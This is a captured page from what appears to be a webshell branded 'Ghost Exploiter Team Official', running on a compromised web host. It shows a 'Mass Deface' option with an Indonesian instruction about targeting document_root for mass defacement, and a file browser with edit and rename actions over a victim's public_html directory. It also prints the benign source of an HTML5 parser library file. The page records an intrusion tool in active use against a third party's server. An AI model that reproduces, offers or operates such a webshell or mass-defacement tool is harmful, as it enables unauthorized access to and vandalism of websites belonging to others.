webshell
Ghost Exploiter Team Official
Mass Deface
Directory >>
/
home
/
whitjouh
/
public_html
/
core
/
vendor
/
masterminds
/
html5
/
src
/
HTML5
/
Parser
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
+New File
CharacterReference.php
1.495KB
edt
ren
DOMTreeBuilder.php
22.257KB
edt
ren
EventHandler.php
3.59KB
edt
ren
FileInputStream.php
1.134KB
edt
ren
InputStream.php
2.44KB
edt
ren
ParseError.php
0.127KB
edt
ren
README.md
1.659KB
edt
ren
Scanner.php
11.191KB
edt
ren
StringInputStream.php
9.307KB
edt
ren
Tokenizer.php
35.683KB
edt
ren
TreeBuildingRules.php
3.196KB
edt
ren
UTF8Utils.php
7.105KB
edt
ren
<?php namespace Masterminds\HTML5\Parser; /** * Handles special-case rules for the DOM tree builder. * * Many tags have special rules that need to be accomodated on an * individual basis. This class handles those rules. * * See section 8.1.2.4 of the spec. * * @todo - colgroup and col special behaviors * - body and head special behaviors */ class TreeBuildingRules { protected static $tags = array( 'li' => 1, 'dd' => 1, 'dt' => 1, 'rt' => 1, 'rp' => 1, 'tr' => 1, 'th' => 1, 'td' => 1, 'thead' => 1, 'tfoot' => 1, 'tbody' => 1, 'table' => 1, 'optgroup' => 1, 'option' => 1, ); /** * Returns true if the given tagname has special processing rules. */ public function hasRules($tagname) { return isset(static::$tags[$tagname]); } /** * Evaluate the rule for the current tag name. * * This may modify the existing DOM. * * @return \DOMElement The new Current DOM element. */ public function evaluate($new, $current) { switch ($new->tagName) { case 'li': return $this->handleLI($new, $current); case 'dt': case 'dd': return $this->handleDT($new, $current); case 'rt': case 'rp': return $this->handleRT($new, $current); case 'optgroup': return $this->closeIfCurrentMatches($new, $current, array( 'optgroup', )); case 'option': return $this->closeIfCurrentMatches($new, $current, array( 'option', )); case 'tr': return $this->closeIfCurrentMatches($new, $current, array( 'tr', )); case 'td': case 'th': return $this->closeIfCurrentMatches($new, $current, array( 'th', 'td', )); case 'tbody': case 'thead': case 'tfoot': case 'table': // Spec isn't explicit about this, but it's necessary. return $this->closeIfCurrentMatches($new, $current, array( 'thead', 'tfoot', 'tbody', )); } return $current; } protected function handleLI($ele, $current) { return $this->closeIfCurrentMatches($ele, $current, array( 'li', )); } protected function handleDT($ele, $current) { return $this->closeIfCurrentMatches($ele, $current, array( 'dt', 'dd', )); } protected function handleRT($ele, $current) { return $this->closeIfCurrentMatches($ele, $current, array( 'rt', 'rp', )); } protected function closeIfCurrentMatches($ele, $current, $match) { if (in_array($current->tagName, $match, true)) { $current->parentNode->appendChild($ele); } else { $current->appendChild($ele); } return $ele; } }